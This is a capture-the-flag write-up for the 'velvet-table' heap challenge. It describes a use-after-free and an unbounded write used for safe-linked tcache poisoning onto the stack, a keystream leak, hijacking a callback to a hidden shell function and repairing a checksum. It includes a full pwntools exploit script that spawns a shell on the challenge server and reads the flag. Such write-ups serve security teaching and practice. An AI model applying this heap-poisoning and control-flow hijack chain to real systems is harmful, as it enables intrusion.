$ cat writeup.md…
$ cat writeup.md…
umdctf
Task: a stripped PIE casino allocator exposes seat-based heap operations, encrypted inspection output, and a payout path guarded by a stack checksum. Solution: combine UAF and post-ledger OOB write for safe-linked tcache poisoning onto the payout stack frame, leak and decrypt stack data, replace the reject callback with the hidden win function, repair the checksum, and trigger payout.
Remote: nc challs.umdctf.io 30304
Binary: velvet-table
Protections:
The program is a stripped menu-driven allocator with 16 seat records. Each seat stores:
ptrsizeoccupiedTwo nearby internal callbacks are especially important:
0x1b50 prints ticket rejected.0x1b60 prints yay. and calls system("/bin/sh")The goal is to redirect the payout path to the hidden function.
Reversing the binary shows three key primitives.
cashoutFor 0x80 chunks, cashout frees the chunk but leaves the seat pointer behind. That gives a reliable dangling-pointer primitive.
settle-ledgerAfter enough actions, settle-ledger enables a stronger update path that performs:
memcpy(ptr, buf, len)
with no bounds check. Combined with the dangling pointer, this lets us overwrite freed tcache metadata.
inspectinspect prints up to 0x40 bytes from a seat, but XORed with an internal keystream. That is still useful: if we first write known plaintext into a live chunk, then inspect it, we recover the keystream with:
keystream = ciphertext ^ plaintext
Then later inspect outputs can be decrypted the same way.
The service prints a table marker. That value is enough to reconstruct the payout frame location on the stack:
low32 = marker ^ 0x9ac90307 stackbuf = 0x7ff000000000 | (low32 << 4) saved_highbits = ((low32 ^ 0x5a17c3d9) & 0xffffffff) << 32
Relevant fields inside that stack buffer:
stackbuf + 0x20stackbuf + 0x28The integrity formula is:
checksum = saved_highbits ^ funcptr ^ 0x686f7573655f6564
So the full plan is:
malloc to return stackbuf,...1b50 to ...1b60,Reserve four 0x80 chunks. This advances the internal action counter enough to unlock settle-ledger.
inspect keystreamWrite a known 0x40-byte pattern into one live chunk and inspect it. XORing the output with the known bytes recovers the keystream.
Free three 0x80 chunks so their pointers dangle. Then use update on the freed tcache-head chunk to overwrite its fd pointer.
Because of safe-linking, the correct poisoned value is:
poisoned_fd = (freed_chunk_addr >> 12) ^ stackbuf
Allocate twice from that bin:
stackbufAt that point one seat points directly into the payout stack frame.
Inspect the stack-backed seat and decrypt the output with the recovered keystream. The function pointer at offset 0x20 ends with 0x1b50, the reject callback.
The hidden win function is exactly +0x10, so:
win = func + 0x10 checksum = saved_highbits ^ win ^ 0x686F7573655F6564
Overwrite the stack-backed allocation with the new function pointer and repaired checksum.
payout() now passes its integrity check and calls the hidden function, which gives a shell. From there, read /flag.
#!/usr/bin/env python3 from pwn import * import re HOST = 'challs.umdctf.io' PORT = 30304 context.binary = ELF('./velvet-table', checksec=False) context.arch = 'amd64' class VelvetTable: def __init__(self, io): self.io = io def choice(self, n): self.io.sendline(str(n).encode()) def reserve(self, seat, size): self.choice(1) self.io.recvuntil(b'seat: ') self.io.sendline(str(seat).encode()) self.io.recvuntil(b'size: ') self.io.sendline(str(size).encode()) out = self.io.recvuntil(b'> ') m = re.search(rb'reservation confirmed: (0x[0-9a-fA-F]+)', out) if not m: raise ValueError(out) return int(m.group(1), 16) def cashout(self, seat): self.choice(2) self.io.recvuntil(b'seat: ') self.io.sendline(str(seat).encode()) return self.io.recvuntil(b'> ') def update(self, seat, data): self.choice(3) self.io.recvuntil(b'seat: ') self.io.sendline(str(seat).encode()) self.io.recvuntil(b'length: ') self.io.sendline(str(len(data)).encode()) self.io.recvuntil(b'data:\n') self.io.send(data) return self.io.recvuntil(b'> ') def inspect(self, seat): self.choice(4) self.io.recvuntil(b'seat: ') self.io.sendline(str(seat).encode()) out = self.io.recvuntil(b'\n\n1) reserve') self.io.recvuntil(b'> ') return out[:-len(b'\n\n1) reserve')] def settle(self): self.choice(7) return self.io.recvuntil(b'> ') def payout(self): self.choice(6) def parse_marker(banner): return int(re.search(rb'table marker: 0x([0-9a-fA-F]+)', banner).group(1), 16) def stackbuf_from_marker(marker): low32 = (marker ^ 0x9AC90307) & 0xFFFFFFFF return 0x7FF000000000 | (low32 << 4) def saved_highbits_from_marker(marker): low32 = (marker ^ 0x9AC90307) & 0xFFFFFFFF return (((low32 ^ 0x5A17C3D9) & 0xFFFFFFFF) << 32) def main(): io = remote(HOST, PORT) banner = io.recvuntil(b'> ') marker = parse_marker(banner) stackbuf = stackbuf_from_marker(marker) # rsp+0x90 saved_hi = saved_highbits_from_marker(marker) log.info(f'marker = {marker:#x}') log.info(f'stackbuf = {stackbuf:#x}') log.info(f'funcptr = {stackbuf + 0x20:#x}') log.info(f'checksum = {stackbuf + 0x28:#x}') vt = VelvetTable(io) SIZE = 0x80 S, A, B, D = 0, 1, 2, 3 ptrS = vt.reserve(S, SIZE) ptrA = vt.reserve(A, SIZE) ptrB = vt.reserve(B, SIZE) ptrD = vt.reserve(D, SIZE) log.info(f'ptrS = {ptrS:#x}') log.info(f'ptrA = {ptrA:#x}') log.info(f'ptrB = {ptrB:#x}') log.info(f'ptrD = {ptrD:#x}') vt.settle() known = bytes(range(1, 0x41)) vt.update(S, known) ct = vt.inspect(S) keystream = xor(ct, known) vt.cashout(S) vt.cashout(A) vt.cashout(B) poisoned_fd = (ptrB >> 12) ^ stackbuf vt.update(B, p64(poisoned_fd)) vt.reserve(A, SIZE) # gets ptrB stack_ptr = vt.reserve(S, SIZE) # gets stackbuf assert stack_ptr == stackbuf stack_ct = vt.inspect(S) stack_plain = xor(stack_ct, keystream) func = u64(stack_plain[0x20:0x28]) assert (func & 0xff) == 0x50 win = func + 0x10 checksum = saved_hi ^ win ^ 0x686F7573655F6564 payload = bytearray(stack_plain[:0x30]) payload[0x20:0x28] = p64(win) payload[0x28:0x30] = p64(checksum) vt.update(S, payload) vt.payout() io.recvuntil(b'yay.\n') io.sendline(b'cat /flag /app/flag* flag* 2>/dev/null') data = io.recvrepeat(2) print(data.decode(errors='ignore')) if __name__ == '__main__': main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar